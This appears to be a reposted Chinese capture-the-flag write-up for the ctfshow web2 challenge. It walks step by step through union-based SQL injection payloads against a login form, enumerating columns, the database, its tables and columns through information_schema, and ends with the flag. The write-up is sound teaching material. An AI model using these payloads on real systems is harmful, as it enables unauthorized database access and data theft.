已解决
ctfshow-web2(SQL注入)
来自网友在路上 150850提问 提问时间:2023-10-08 05:18:59阅读次数: 50
最佳答案 问答题库508位专家为你答疑解惑
打开题目链接,是一个登录框,尝试弱口令登录
没什么反应
尝试万能密码登录
页面发生了变化
并未登录进去,但是有回显,大概率是SQL注入了
这里尝试了很久,尝试过程就不写了,最终判断它的注入点在用户名,而不是密码,密码随便输,而且--+的注释不行,这里要用#来注释。
成功闭合之后先判断字段数
' or 1=1 order by 3 #
正常回显
' or 1=1 order by 4 #
无回显,说明只有3列
判断回显位
' or 1=1 union select 1,2,3 #
在2号位
查数据库名
' or 1=1 union select 1,database(),3 #
数据库名为 web2
查数据库版本
' or 1=1 union select 1,version(),3 #
MariaDB,第一次遇见不是在mysql下的
这里说一下,因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。
尝试查询数据库名为web2下的所有表名
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
发现该数据库下有两个表:flag,user
查询数据库名为web2下表名为flag的列名信息
' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
该表下的列名也为flag
直接查该列的具体字段信息
' or 1=1 union select 1,flag,3 from web2.flag #
拿到flag
ctfshow{6ce6e249-b399-480c-ae37-93793eea88e2}
前面我们说过,information_schema这个数据库下面包含了所有数据库的所有信息
我们来获取一下所有数据库的数据库名
' or 1=1 union select 1,schema_name,3 from information_schema.schemata #
mysql数据库、web2数据库以及其他所有数据库的所有信息都会储存在information_schema这个数据库下,这也是为什么我们可以借助information_schema这个数据库来查询到其他数据库的信息。
查看全文
99%的人还看了
相似问题
- MySQL数据库:开源且强大的关系型数据库管理系统
- 【腾讯云云上实验室-向量数据库】探索腾讯云向量数据库:全方位管理与高效利用多维向量数据的引领者
- 【史上最细教程】服务器MySQL数据库完成主从复制
- 字符串结尾空格比较相关参数BLANK_PAD_MODE(DM8:达梦数据库)
- 缓存雪崩、击穿、穿透及解决方案_保证缓存和数据库一致性
- Redis 与其他数据库的不同之处 | Navicat
- 多协议数据库管理软件 Navicat Premium 16 mac中文版功能
- (数据库管理系统)DBMS与(数据库系统)DBS的区别
- duplicate复制数据库单个数据文件复制失败报错rman-03009 ora-03113
- 数据库课后习题加真题
猜你感兴趣
版权申明
本文"ctfshow-web2(SQL注入)":http://eshow365.cn/6-17117-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!
- 上一篇: 抖音账号矩阵系统开发源码----技术研发
- 下一篇: 斐波那契数列 JS